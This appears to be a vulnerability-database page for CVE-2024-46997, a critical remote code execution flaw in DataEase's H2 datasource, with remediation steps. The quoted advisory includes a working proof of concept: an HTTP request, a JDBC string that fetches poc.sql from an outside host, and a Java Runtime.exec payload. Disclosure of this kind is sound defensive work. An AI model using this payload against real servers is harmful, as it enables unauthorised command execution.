CVE-2024-46997: Common Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-h7mj-m72h-qm8w
CVSS 9.8
CWE-74
Published
Advisory Summary

CVE-2024-46997 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Common libraries in the Maven ecosystem. The issue involves dataease's h2 datasource has a remote command execution risk. Remediation is available by upgrading affected packages to version 2.10.1.

CVE-2024-46997 at a Glance

CVE Identifier CVE-2024-46997
GHSA Identifier GHSA-h7mj-m72h-qm8w
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Common
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-46997

To remediate this vulnerability, upgrade all affected Common dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.dataease:common fixed: 2.10.1
<dependency>
    <groupId>io.dataease</groupId>
    <artifactId>common</artifactId>
    <version>2.10.1</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.dataease

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2024-46997, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.dataease

Analyze the terminal output to locate any version of Common in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.1), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.dataease command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Common, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce') ``` You can see that the file was created successfully in docker: ``` /tmp # ls -l jdbch2rce -rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce ``` Affected versions: <= 2.10.0 ### Patches The vulnerability has been fixed in v2.10.1. ### Workarounds It is recommended to upgrade the version to v2.10.1. ### References If you have any questions or comments about this advisory: Open an issue in https://github.com/dataease/dataease Email us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)

CVE-2024-46997 Affected Common Versions

1 component(s)
Fixed Versions:
2.10.1
Product / Package Ecosystem Affected Versions Fixed Version
io.dataease:common
Maven
< 2.10.1
2.10.1

References

Frequently Asked Questions

What is CVE-2024-46997?
CVE-2024-46997 is a security vulnerability in Common involving DataEase's H2 datasource has a remote command execution risk under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Common versions are affected?
Affected versions include releases prior to 2.10.1 across affected packages: io.dataease:common.
What version fixes CVE-2024-46997?
Upgrading to 2.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is common affected?
Yes, io.dataease:common is affected in releases prior to 2.10.1. Upgrade your dependency to 2.10.1 or later.
What is the CVSS score of CVE-2024-46997?
CVE-2024-46997 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-46997?
CVE-2024-46997 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check Maven dependencies for CVE-2024-46997?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.dataease'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h7mj-m72h-qm8w",
  "modified" : "2024-09-23T20:27:11Z",
  "published" : "2024-09-23T20:27:11Z",
  "aliases" : [ "CVE-2024-46997" ],
  "summary" : "DataEase's H2 datasource has a remote command execution risk",
  "details" : "### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.dataease:common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.10.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.10.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-46997"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dataease/dataease"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-09-23T20:27:11Z",
    "nvd_published_at" : "2024-09-23T16:15:06Z"
  }
}